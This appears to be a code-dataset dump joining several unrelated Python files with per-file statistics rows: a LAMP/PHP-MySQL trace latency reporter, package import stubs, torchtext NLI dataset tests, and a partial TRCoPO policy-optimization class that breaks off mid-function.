label_header = row_format.format('Method', 'URI', 'Response Time (us)', '(% Spent in mysql)', 'TID',
'SQL TID(s)', 'Query Count', 'Time Range')
print(label_header)
for row in total_table.rows:
#for row in sorted(total_table.rows,
# key=operator.attrgetter('durationlong'),
# reverse=True):
uri = 'N/A'
if row.path is None or row.path == '(null)':
uri = row.uri.value
else:
uri = '%s?%s' % (row.uri.value, row.path.value)
print(row_format.format(
row.method.value,
'%s' % (uri),
# row.path.value,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.sqlthreadid.value,
row.sqlquerycount.value,
format_utils.format_time_range(
row.begin_ts,
row.end_ts
)
))
#function_format = '{:>10} {:<38} {:<20} {:<14} {:<14} {:<65} {:<35}'
function_format = '{:>2} {:<30} {:<20} {:<14} {:<8} {:<65} {:<35}'
total_queries = 0
for table in php_functions_table:
if not table.subtitle == str(row.tid.value):
continue
for subrow in sorted(table.rows,
key=operator.attrgetter('begin_tslong'),
reverse=False):
if subrow is None:
continue
#to show only long fuctions!
if subrow.duration.to_us() <= 1000:
continue;
# if subrow.tid.value not in row.tid.value:
# continue
indent = ' '
for i in range(0, subrow.indent.value):
indent += ' '
if total_queries == 0: # first row? so print an empty line
print(function_format.format(indent,
'', '', '', '', '', ''))
print(function_format.format(' ',
'Function', 'Classname', 'duration', 'Tid',
'Location (file:lineno)','Time Range'))
print(function_format.format(
indent,
'%s %d' %(subrow.function.name, subrow.indent.value),
#subrow.function.name,
subrow.classname.value,
'%0.03f' % (subrow.duration.to_us()),
subrow.id.value,
'%s:%d' % (subrow.filename.value, subrow.lineno.value),
format_utils.format_time_range(
subrow.begin_ts.value,
subrow.end_ts.value
),
))
total_queries += 1
#if limit is not None and total_queries >= limit:
# break
if total_queries > 0:
print(function_format.format('',
' ', '', '', '', '', '', ''))
total_requests += 1
if limit is not None and total_requests >= limit:
break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_phpfunctions_log(self, total_table, php_functions_table):
line_format = '{:<10} {:<10} {}'
print('Php function logs:')
limit = self._args.limit
total_requests = 0
row_format = '{:<8} {:<45} {:<15} {:<20} {:<8} {:<15} {:<10} {} '
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Method', 'URI', 'Response Time (us)', '(% Spent in mysql)', 'TID',
'SQL TID(s)', 'Query Count', 'Time Range')
print(label_header)
for row in total_table.rows:
#for row in sorted(total_table.rows,
# key=operator.attrgetter('durationlong'),
# reverse=True):
uri = 'N/A'
if row.path is None or row.path == '(null)':
uri = row.uri.value
else:
uri = '%s?%s' % (row.uri.value, row.path.value)
print(row_format.format(
row.method.value,
'%s' % (uri),
# row.path.value,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.sqlthreadid.value,
row.sqlquerycount.value,
format_utils.format_time_range(
row.begin_ts.value,
row.end_ts.value
)
))
#function_format = '{:>10} {:<38} {:<20} {:<14} {:<14} {:<65} {:<35}'
function_format = '{:>2} {:<30} {:<20} {:<14} {:<8} {:<65} {:<35}'
total_queries = 0
for table in php_functions_table:
if not table.subtitle == str(row.tid.value):
continue
for subrow in table.rows:
#for subrow in sorted(table.rows,
# key=operator.attrgetter('begin_tslong'),
# reverse=False):
if subrow is None:
continue
#to show only long fuctions!
#if subrow.duration.to_us() <= 1000:
# continue;
# if subrow.tid.value not in row.tid.value:
# continue
indent = ' '
for i in range(0, subrow.indent.value):
indent += ' '
if total_queries == 0: # first row? so print an empty line
print(function_format.format(indent,
'', '', '', '', '', ''))
print(function_format.format(' ',
'Function', 'Classname', 'duration', 'Tid',
'Location (file:lineno)','Time Range'))
print(function_format.format(
indent,
'%s %d' %(subrow.function.name, subrow.indent.value),
#subrow.function.name,
subrow.classname.value,
'%0.03f' % (subrow.duration.to_us()),
subrow.id.value,
'%s:%d' % (subrow.filename.value, subrow.lineno.value),
format_utils.format_time_range(
subrow.begin_ts.value,
subrow.end_ts.value
),
))
total_queries += 1
#if limit is not None and total_queries >= limit:
# break
if total_queries > 0:
#print(function_format.format('',
# ' ', '', '', '', '', '', ''))
print(function_format.format('Total Function Calls for This Request:',
' ', total_queries, '', '', '', '', ''))
total_requests += 1
if limit is not None and total_requests >= limit:
break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total PHP Requests:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_phpmysql_top_old(self, total_table, mysql_query_table):
line_format = '{:<10} {:<10} {}'
print('Php-Mysql Top:')
limit = self._args.limit
total_requests = 0
row_format = '{:<8} {:<45} {:<15} {:<20} {:<8} {:<15} {:<10} {} '
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Method', 'URI', 'Response Time', '(% Spent in mysql)', 'TID', 'SQL TID(s)',
'Query Count', 'Time Range')
print(label_header)
# for row in total_table.rows:
for row, table in zip(sorted(total_table.rows,
key=operator.attrgetter('durationlong'),
reverse=True),
mysql_query_table):
uri = 'N/A'
if row.path is None or row.path == '(null)':
uri = row.uri.value
else:
uri = '%s?%s' % (row.uri.value, row.path.value)
print(row_format.format(
row.method.value,
'%s' % (uri),
# row.path.value,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.sqlthreadid.value,
row.sqlquerycount.value,
format_utils.format_time_range(
row.begin_ts,
row.end_ts
)
))
query_format = '{:<7} {:<42} {:<15} {:<25} {:<10} {:<10} {:<35}'
total_queries = 0
for subrow in sorted(table.rows,
key=operator.attrgetter('durationlong'),
reverse=True):
if subrow is None:
continue
# if subrow.tid.value not in row.tid.value:
# continue
# if total_queries == 0: #first row? so print an empty line
# print(query_format.format(table.subtitle,
# ' ','', '', '', '','', ''))
print(query_format.format(
' ',
format_utils.format_time_range(
subrow.begin_ts,
subrow.begin_ts
),
'%0.03f' % (subrow.duration.to_us()),
subrow.tid.value,
'%s@%s' % (subrow.user.value, subrow.db.value),
subrow.query.value.replace(os.linesep, ' '),
subrow.ret.value
))
total_queries += 1
if limit is not None and total_queries >= limit:
break
print(query_format.format(table.subtitle,
' ', '', '', '', '', '', ''))
total_requests += 1
if limit is not None and total_requests >= limit:
break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_php_top(self, total_table):
line_format = '{:<10} {:<10} {}'
print('Php Top Requests:')
#limit = self._args.limit
total_requests = 0
row_format = '{:<42} {:<15} {:<25} {:<10} {:<10} {:<50} {:<12} {:<10}'
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Time Range', 'Response Time', '(% Spent in mysql)', 'TID', 'Method', 'URI',
'SQL TID(s)', 'No of SQL Query')
print(label_header)
for row in total_table.rows:
#for row in sorted(total_table.rows,
# key=operator.attrgetter('durationlong'),
# reverse=True):
tid = row.tid.value
duration = row.duration.to_us()
sqlduration = row.duration.to_us()
method = row.method.value
uri = row.uri.value
path = row.path.value
mysql_threadid = row.sqlthreadid.value
time_range_str = format_utils.format_time_range(
row.begin_ts.value,
row.end_ts.value
)
uri = 'N/A'
if row.path.value is None:
uri = row.uri.value
else:
uri = '%s?%s' % (row.uri.value, row.path.value)
print(row_format.format(
time_range_str,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.method.value,
'%s' % (uri),
row.sqlthreadid.value,
row.sqlquerycount.value
))
total_requests += 1
#if limit is not None and total_requests >= limit:
# break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_php_log(self, total_table):
line_format = '{:<10} {:<10} {}'
print('Php All Requests:')
# limit = self._args.limit
total_requests = 0
row_format = '{:<42} {:<15} {:<25} {:<10} {:<10} {:<50} {:<12} {:<10}'
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Time Range', 'Response Time', '(% Spent in mysql)', 'TID', 'Method', 'URI',
'SQL TID(s)', 'No of SQL Query')
print(label_header)
for row in total_table.rows:
# for row in sorted(total_table.rows,
# key=operator.attrgetter('durationlong'),
# reverse=True):
tid = row.tid.value
duration = row.duration.to_us()
sqlduration = row.duration.to_us()
method = row.method.value
uri = row.uri.value
path = row.path.value
mysql_threadid = row.sqlthreadid.value
time_range_str = format_utils.format_time_range(
row.begin_ts.value,
row.end_ts.value
)
uri = 'N/A'
if row.path.value is None:
uri = row.uri.value
else:
uri = '%s?%s' % (row.uri.value, row.path.value)
print(row_format.format(
time_range_str,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.method.value,
'%s' % (uri),
row.sqlthreadid.value,
row.sqlquerycount.value
))
total_requests += 1
# if limit is not None and total_requests >= limit:
# break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_php_top_orig(self, total_table):
line_format = '{:<10} {:<10} {}'
print('Php Top:')
#limit = self._args.limit
total_requests = 0
row_format ='{:<42} {:<15} {:<25} {:<10} {:<10} {:<50} {:<12} {:<10}'
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Time Range', 'Response Time', '(% Spent in mysql)', 'TID', 'Method', 'URI', 'SQL TID(s)','No of SQL Query')
print(label_header)
for row in total_table.rows:
#for row in sorted(total_table.rows,
# key=operator.attrgetter('durationlong'),
# reverse=True):
tid = row.tid.value
duration = row.duration.to_us()
sqlduration = row.duration.to_us()
method = row.method.value
uri = row.uri.value
path = row.path.value
mysql_threadid = row.sqlthreadid.value
time_range_str = format_utils.format_time_range(
row.begin_ts.value,
row.end_ts.value
)
uri = 'N/A'
if row.path.value is None:
uri = row.uri.value
else:
uri = '%s?%s'%(row.uri.value, row.path.value)
print(row_format.format(
time_range_str,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.method.value,
'%s' % (uri),
row.sqlthreadid.value,
row.sqlquerycount.value
))
total_requests += 1
#if limit is not None and total_requests >= limit:
# break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_mysql_top(self, result_table):
line_format = '{:<5} {:<10} {:<10} {:<10} {} {:>14}'
print('Mysql Top:')
total_queries = 0
limit = self._args.limit
print(line_format.format('TID', 'Duration', 'User', 'Database', 'Return', 'Query'))
for row in sorted(result_table.rows,
key=operator.attrgetter('durationlong'),
reverse=True):
# for row in result_table.rows:
tid = row.tid.value
query_duration = row.duration.to_us()
query_name = row.query.value
ret = row.ret.value
db = row.db.value
user = row.user.value
total_queries += 1
print(line_format.format(tid, query_duration, user, db, ret, query_name.replace(os.linesep, ' ')))
if limit is not None and total_queries >= limit:
break
print('-' * 113)
print('\nTotal queries: %d' % (total_queries))
''' #showing by bargraph
row_format = ' {:<30} {:>14} {:>14} {:>14}'
label_header = row_format.format('Query', 'Duration', 'Connection ID', 'Return')
def format_label(row):
return row_format.format(
'%s' % (row.query), row.duration.to_us(),
row.tid.value,
row.ret.value
)
graph = termgraph.BarGraph(
title='Per-Query Mysql Statistics',
get_value=lambda row: row.duration.to_us(),
get_label=format_label,
label_header=label_header,
data=result_table.rows
)
graph.print_graph()'''
def _add_arguments(self, ap):
Command._add_proc_filter_args(ap)
Command._add_min_max_args(ap)
Command._add_log_args(
ap, help='Output the Lamp requests in chronological order')
Command._add_top_args(
ap, help='Output the top Lamp latencies by category')
Command._add_stats_args(ap, help='Output the Lamp latency statistics')
Command._add_freq_args(
ap, help='Output the Lamp latency frequency distribution')
ap.add_argument('--usage', action='store_true',
help='Output the Lamp usage')
ap.add_argument('--minsize', type=float,
help='Filter out, Lamp operations working with '
'less that minsize bytes')
ap.add_argument('--maxsize', type=float,
help='Filter out, Lamp operations working with '
'more that maxsize bytes')
def _run(mi_mode):
syscallscmd = LAMPAnalysis(mi_mode=mi_mode)
syscallscmd.run()
# entry point (human)
def run():
_run(mi_mode=False)
#_run(mi_mode=True)
# entry point (MI)
def run_mi():
_run(mi_mode=True)
| 41.188555
| 150
| 0.485055
| 5,630
| 56,140
| 4.636767
| 0.06341
| 0.019
| 0.019307
| 0.017813
| 0.835817
| 0.812028
| 0.78847
| 0.779238
| 0.757748
| 0.74185
| 0
| 0.018138
| 0.398005
| 56,140
| 1,362
| 151
| 41.218796
| 0.75429
| 0.125721
| 0
| 0.777778
| 0
| 0.014141
| 0.099503
| 0
| 0
| 0
| 0
| 0.000734
| 0
| 1
| 0.023232
| false
| 0
| 0.009091
| 0.00101
| 0.063636
| 0.10101
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
83ddac53d7e3bb8d4a1680abc15cab0282e5b5a3
| 205
|
py
|
Python
|
nipype/interfaces/semtools/testing/__init__.py
|
demianw/nipype
|
52d64c30d96ecd94f1833156e28dce32c4f05ebe
|
[
"BSD-3-Clause"
] | null | null | null |
nipype/interfaces/semtools/testing/__init__.py
|
demianw/nipype
|
52d64c30d96ecd94f1833156e28dce32c4f05ebe
|
[
"BSD-3-Clause"
] | 2
|
2017-10-05T21:08:38.000Z
|
2018-10-09T23:01:23.000Z
|
nipype/interfaces/semtools/testing/__init__.py
|
effigies/nipype
|
18fe222557cf3b9627e06b2a66fba589feaca581
|
[
"Apache-2.0"
] | 1
|
2016-10-11T19:18:53.000Z
|
2016-10-11T19:18:53.000Z
|
from __future__ import absolute_import
from .featuredetection import SphericalCoordinateGeneration
from .landmarkscompare import LandmarksCompare
from .generateaveragelmkfile import GenerateAverageLmkFile
| 41
| 59
| 0.907317
| 17
| 205
| 10.647059
| 0.470588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078049
| 205
| 4
| 60
| 51.25
| 0.957672
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
860064f9298706cf8d37d939317cce0a0e4a175d
| 11,802
|
py
|
Python
|
test/legacy/nli.py
|
parmeet/text
|
1fb2aedb48b5ecc5e81741e7c8504486b91655c6
|
[
"BSD-3-Clause"
] | 1
|
2021-04-16T08:31:30.000Z
|
2021-04-16T08:31:30.000Z
|
test/legacy/nli.py
|
parmeet/text
|
1fb2aedb48b5ecc5e81741e7c8504486b91655c6
|
[
"BSD-3-Clause"
] | 3
|
2021-02-24T22:51:20.000Z
|
2021-03-05T02:38:15.000Z
|
test/legacy/nli.py
|
parmeet/text
|
1fb2aedb48b5ecc5e81741e7c8504486b91655c6
|
[
"BSD-3-Clause"
] | 1
|
2021-06-21T07:13:53.000Z
|
2021-06-21T07:13:53.000Z
|
import torch
from ..common.torchtext_test_case import TorchtextTestCase
from torchtext.legacy.datasets import SNLI, MultiNLI, XNLI
from torchtext.legacy.datasets.nli import ParsedTextField, ShiftReduceField
from torchtext.legacy.data import Field, LabelField, Iterator
import shutil
class TestNLI(TorchtextTestCase):
def test_snli(self):
batch_size = 4
# create fields
TEXT = ParsedTextField()
TREE = ShiftReduceField()
LABEL = LabelField()
# create train/val/test splits
train, val, test = SNLI.splits(TEXT, LABEL, TREE)
# check all are SNLI datasets
assert type(train) == type(val) == type(test) == SNLI
# check all have correct number of fields
assert len(train.fields) == len(val.fields) == len(test.fields) == 5
# check fields are the correct type
assert type(train.fields['premise']) == ParsedTextField
assert type(train.fields['premise_transitions']) == ShiftReduceField
assert type(train.fields['hypothesis']) == ParsedTextField
assert type(train.fields['hypothesis_transitions']) == ShiftReduceField
assert type(train.fields['label']) == LabelField
assert type(val.fields['premise']) == ParsedTextField
assert type(val.fields['premise_transitions']) == ShiftReduceField
assert type(val.fields['hypothesis']) == ParsedTextField
assert type(val.fields['hypothesis_transitions']) == ShiftReduceField
assert type(val.fields['label']) == LabelField
assert type(test.fields['premise']) == ParsedTextField
assert type(test.fields['premise_transitions']) == ShiftReduceField
assert type(test.fields['hypothesis']) == ParsedTextField
assert type(test.fields['hypothesis_transitions']) == ShiftReduceField
assert type(test.fields['label']) == LabelField
# check each is the correct length
assert len(train) == 549367
assert len(val) == 9842
assert len(test) == 9824
# build vocabulary
TEXT.build_vocab(train)
LABEL.build_vocab(train)
# ensure vocabulary has been created
assert hasattr(TEXT, 'vocab')
assert hasattr(TEXT.vocab, 'itos')
assert hasattr(TEXT.vocab, 'stoi')
# create iterators
train_iter, val_iter, test_iter = Iterator.splits((train, val, test),
batch_size=batch_size)
# get a batch to test
batch = next(iter(train_iter))
# split premise and hypothesis from tuples to tensors
premise, premise_transitions = batch.premise
hypothesis, hypothesis_transitions = batch.hypothesis
label = batch.label
# check each is actually a tensor
assert type(premise) == torch.Tensor
assert type(premise_transitions) == torch.Tensor
assert type(hypothesis) == torch.Tensor
assert type(hypothesis_transitions) == torch.Tensor
assert type(label) == torch.Tensor
# check have the correct batch dimension
assert premise.shape[-1] == batch_size
assert premise_transitions.shape[-1] == batch_size
assert hypothesis.shape[-1] == batch_size
assert hypothesis_transitions.shape[-1] == batch_size
assert label.shape[-1] == batch_size
# repeat the same tests with iters instead of split
train_iter, val_iter, test_iter = SNLI.iters(batch_size=batch_size,
trees=True)
# split premise and hypothesis from tuples to tensors
premise, premise_transitions = batch.premise
hypothesis, hypothesis_transitions = batch.hypothesis
label = batch.label
# check each is actually a tensor
assert type(premise) == torch.Tensor
assert type(premise_transitions) == torch.Tensor
assert type(hypothesis) == torch.Tensor
assert type(hypothesis_transitions) == torch.Tensor
assert type(label) == torch.Tensor
# check have the correct batch dimension
assert premise.shape[-1] == batch_size
assert premise_transitions.shape[-1] == batch_size
assert hypothesis.shape[-1] == batch_size
assert hypothesis_transitions.shape[-1] == batch_size
assert label.shape[-1] == batch_size
# remove downloaded snli directory
shutil.rmtree('.data/snli')
def test_multinli(self):
batch_size = 4
# create fields
TEXT = ParsedTextField()
TREE = ShiftReduceField()
GENRE = LabelField()
LABEL = LabelField()
# create train/val/test splits
train, val, test = MultiNLI.splits(TEXT, LABEL, TREE, GENRE)
# check all are MultiNLI datasets
assert type(train) == type(val) == type(test) == MultiNLI
# check all have correct number of fields
assert len(train.fields) == len(val.fields) == len(test.fields) == 6
# check fields are the correct type
assert type(train.fields['premise']) == ParsedTextField
assert type(train.fields['premise_transitions']) == ShiftReduceField
assert type(train.fields['hypothesis']) == ParsedTextField
assert type(train.fields['hypothesis_transitions']) == ShiftReduceField
assert type(train.fields['label']) == LabelField
assert type(train.fields['genre']) == LabelField
assert type(val.fields['premise']) == ParsedTextField
assert type(val.fields['premise_transitions']) == ShiftReduceField
assert type(val.fields['hypothesis']) == ParsedTextField
assert type(val.fields['hypothesis_transitions']) == ShiftReduceField
assert type(val.fields['label']) == LabelField
assert type(val.fields['genre']) == LabelField
assert type(test.fields['premise']) == ParsedTextField
assert type(test.fields['premise_transitions']) == ShiftReduceField
assert type(test.fields['hypothesis']) == ParsedTextField
assert type(test.fields['hypothesis_transitions']) == ShiftReduceField
assert type(test.fields['label']) == LabelField
assert type(test.fields['genre']) == LabelField
# check each is the correct length
assert len(train) == 392702
assert len(val) == 9815
assert len(test) == 9832
# build vocabulary
TEXT.build_vocab(train)
LABEL.build_vocab(train)
GENRE.build_vocab(train)
# ensure vocabulary has been created
assert hasattr(TEXT, 'vocab')
assert hasattr(TEXT.vocab, 'itos')
assert hasattr(TEXT.vocab, 'stoi')
# create iterators
train_iter, val_iter, test_iter = Iterator.splits((train, val, test),
batch_size=batch_size)
# get a batch to test
batch = next(iter(train_iter))
# split premise and hypothesis from tuples to tensors
premise, premise_transitions = batch.premise
hypothesis, hypothesis_transitions = batch.hypothesis
label = batch.label
genre = batch.genre
# check each is actually a tensor
assert type(premise) == torch.Tensor
assert type(premise_transitions) == torch.Tensor
assert type(hypothesis) == torch.Tensor
assert type(hypothesis_transitions) == torch.Tensor
assert type(label) == torch.Tensor
assert type(genre) == torch.Tensor
# check have the correct batch dimension
assert premise.shape[-1] == batch_size
assert premise_transitions.shape[-1] == batch_size
assert hypothesis.shape[-1] == batch_size
assert hypothesis_transitions.shape[-1] == batch_size
assert label.shape[-1] == batch_size
assert genre.shape[-1] == batch_size
# repeat the same tests with iters instead of split
train_iter, val_iter, test_iter = MultiNLI.iters(batch_size=batch_size,
trees=True)
# split premise and hypothesis from tuples to tensors
premise, premise_transitions = batch.premise
hypothesis, hypothesis_transitions = batch.hypothesis
label = batch.label
# check each is actually a tensor
assert type(premise) == torch.Tensor
assert type(premise_transitions) == torch.Tensor
assert type(hypothesis) == torch.Tensor
assert type(hypothesis_transitions) == torch.Tensor
assert type(label) == torch.Tensor
# check have the correct batch dimension
assert premise.shape[-1] == batch_size
assert premise_transitions.shape[-1] == batch_size
assert hypothesis.shape[-1] == batch_size
assert hypothesis_transitions.shape[-1] == batch_size
assert label.shape[-1] == batch_size
# remove downloaded multinli directory
shutil.rmtree('.data/multinli')
def test_xnli(self):
batch_size = 4
# create fields
TEXT = Field()
GENRE = LabelField()
LABEL = LabelField()
LANGUAGE = LabelField()
# create val/test splits, XNLI does not have a test set
val, test = XNLI.splits(TEXT, LABEL, GENRE, LANGUAGE)
# check both are XNLI datasets
assert type(val) == type(test) == XNLI
# check all have the correct number of fields
assert len(val.fields) == len(test.fields) == 5
# check fields are the correct type
assert type(val.fields['premise']) == Field
assert type(val.fields['hypothesis']) == Field
assert type(val.fields['label']) == LabelField
assert type(val.fields['genre']) == LabelField
assert type(val.fields['language']) == LabelField
assert type(test.fields['premise']) == Field
assert type(test.fields['hypothesis']) == Field
assert type(test.fields['label']) == LabelField
assert type(test.fields['genre']) == LabelField
assert type(test.fields['language']) == LabelField
# check each is the correct length
assert len(val) == 37350
assert len(test) == 75150
# build vocabulary
TEXT.build_vocab(val)
LABEL.build_vocab(val)
GENRE.build_vocab(val)
LANGUAGE.build_vocab(val)
# ensure vocabulary has been created
assert hasattr(TEXT, 'vocab')
assert hasattr(TEXT.vocab, 'itos')
assert hasattr(TEXT.vocab, 'stoi')
# create iterators
val_iter, test_iter = Iterator.splits((val, test),
batch_size=batch_size)
# get a batch to test
batch = next(iter(val_iter))
# split premise and hypothesis from tuples to tensors
premise = batch.premise
hypothesis = batch.hypothesis
label = batch.label
genre = batch.genre
language = batch.language
# check each is actually a tensor
assert type(premise) == torch.Tensor
assert type(hypothesis) == torch.Tensor
assert type(label) == torch.Tensor
assert type(genre) == torch.Tensor
assert type(language) == torch.Tensor
# check have the correct batch dimension
assert premise.shape[-1] == batch_size
assert hypothesis.shape[-1] == batch_size
assert label.shape[-1] == batch_size
assert genre.shape[-1] == batch_size
assert language.shape[-1] == batch_size
# xnli cannot use the iters method, ensure raises error
with self.assertRaises(NotImplementedError):
val_iter, test_iter = XNLI.iters(batch_size=batch_size)
# remove downloaded xnli directory
shutil.rmtree('.data/xnli')
| 38.695082
| 80
| 0.632944
| 1,302
| 11,802
| 5.652842
| 0.08679
| 0.097826
| 0.056522
| 0.052989
| 0.845652
| 0.824864
| 0.812228
| 0.802717
| 0.784239
| 0.77663
| 0
| 0.008127
| 0.270208
| 11,802
| 304
| 81
| 38.822368
| 0.846395
| 0.144552
| 0
| 0.710526
| 0
| 0
| 0.053365
| 0.013142
| 0
| 0
| 0
| 0
| 0.626316
| 1
| 0.015789
| false
| 0
| 0.031579
| 0
| 0.052632
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f7b3f3c43e240b47dd573bee2f50dbeae5c3364d
| 95
|
py
|
Python
|
stable_baselines3/c51/__init__.py
|
mjyoo2/stable-baselines3
|
ef7a580219df6d977b56fb99e503890bd5211195
|
[
"MIT"
] | null | null | null |
stable_baselines3/c51/__init__.py
|
mjyoo2/stable-baselines3
|
ef7a580219df6d977b56fb99e503890bd5211195
|
[
"MIT"
] | null | null | null |
stable_baselines3/c51/__init__.py
|
mjyoo2/stable-baselines3
|
ef7a580219df6d977b56fb99e503890bd5211195
|
[
"MIT"
] | null | null | null |
from stable_baselines3.c51.c51 import C51
from stable_baselines3.c51.policies import MlpPolicy
| 31.666667
| 52
| 0.873684
| 14
| 95
| 5.785714
| 0.5
| 0.246914
| 0.493827
| 0.567901
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114943
| 0.084211
| 95
| 2
| 53
| 47.5
| 0.816092
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
f7f2ec7ce3d30ccdca5cb8c4147c16152ea5f8a4
| 23,716
|
py
|
Python
|
trcopo_optim/trcopo.py
|
manish-pra/trcopo
|
df8730f07ef554970c7a0aa653cc42d4886948ec
|
[
"MIT"
] | 5
|
2020-06-22T17:13:51.000Z
|
2021-11-02T14:19:58.000Z
|
trcopo_optim/trcopo.py
|
manish-pra/trcopo
|
df8730f07ef554970c7a0aa653cc42d4886948ec
|
[
"MIT"
] | null | null | null |
trcopo_optim/trcopo.py
|
manish-pra/trcopo
|
df8730f07ef554970c7a0aa653cc42d4886948ec
|
[
"MIT"
] | 1
|
2020-09-14T06:41:03.000Z
|
2020-09-14T06:41:03.000Z
|
import math
import time
import torch
import torch.autograd as autograd
from torch.distributions import Categorical
from trcopo_optim.utils import zero_grad, conjugate_gradient, general_conjugate_gradient, conjugate_gradient_2trpo, conjugate_gradient_trpo
import scipy.sparse.linalg as lin
from scipy.sparse.linalg import LinearOperator
class TRCoPO(object):
def __init__(self, max_params, min_params, lam=1, threshold=0.01, device=torch.device('cpu'),
solve_x=False, collect_info=True):
self.max_params = list(max_params)
self.min_params = list(min_params)
self.lam = lam
self.threshold = threshold
self.device = device
self.solve_x = solve_x
self.collect_info = collect_info
self.old_x = None
self.old_y = None
self.old_AinvC = None
def zero_grad(self):
zero_grad(self.max_params)
zero_grad(self.min_params)
def getinfo(self):
if self.collect_info:
return self.norm_gx, self.norm_gy, self.norm_cgx, self.norm_cgy, self.iter_num
else:
raise ValueError(
'No update information stored. Set collect_info=True before call this method')
def getlamda(self, grad_vec, kl_vec, params, esp):
Ainvg, self.iter_num = conjugate_gradient_2trpo(grad_vec = grad_vec, kl_vec=kl_vec,
params=params, g=-grad_vec,
x=None, nsteps=10,residual_tol=1e-6,#*grad_x_vec.shape[0],
device=self.device)
g = autograd.grad(kl_vec, params, grad_outputs=Ainvg,retain_graph=True)
g_vec = torch.cat([g.contiguous().view(-1, 1) for g in g])
sAs = torch.matmul(Ainvg.transpose(0,1),g_vec)
step_size = torch.sqrt(torch.abs(2*esp/sAs))
lamda = 1/step_size
if sAs<0:
a=1
else:
a=0
return lamda, a
def step(self, get_log_prob):
log_probs1, log_probs2, val1_p = get_log_prob()
objective = torch.exp(log_probs1 + log_probs2 - log_probs1.detach() - log_probs2.detach()) * (val1_p)
ob = objective.mean()
kl = torch.mean(-log_probs1 - log_probs2)
grad_x = autograd.grad(ob, self.max_params, create_graph=True, retain_graph=True)
grad_x_vec = torch.cat([g.contiguous().view(-1,1) for g in grad_x])
grad_y = autograd.grad(ob, self.min_params, create_graph=True, retain_graph=True)
grad_y_vec = torch.cat([g.contiguous().view(-1,1) for g in grad_y])
kl_x = autograd.grad(kl, self.max_params, create_graph=True, retain_graph=True)
kl_x_vec = torch.cat([g.contiguous().view(-1,1) for g in kl_x])
kl_y = autograd.grad(kl, self.min_params, create_graph=True, retain_graph=True)
kl_y_vec = torch.cat([g.contiguous().view(-1,1) for g in kl_y])
lam1,_ = self.getlamda(grad_x_vec, kl_x_vec, self.max_params, self.threshold)
lam2,_ = self.getlamda(grad_y_vec, kl_y_vec, self.min_params, self.threshold)
lamda = torch.min(lam1,lam2)
lamda = lamda/2
esp = 100
self.its = 0
while esp>self.threshold:
lamda = lamda*2
def mv(v):
p = torch.FloatTensor(v).reshape(2*kl_x_vec.size(0), 1)
c1 = p[0:int(p.size(0) / 2)]
c2 = p[int(p.size(0) / 2):p.size(0)]
self.its = self.its + 1
# print(self.its)
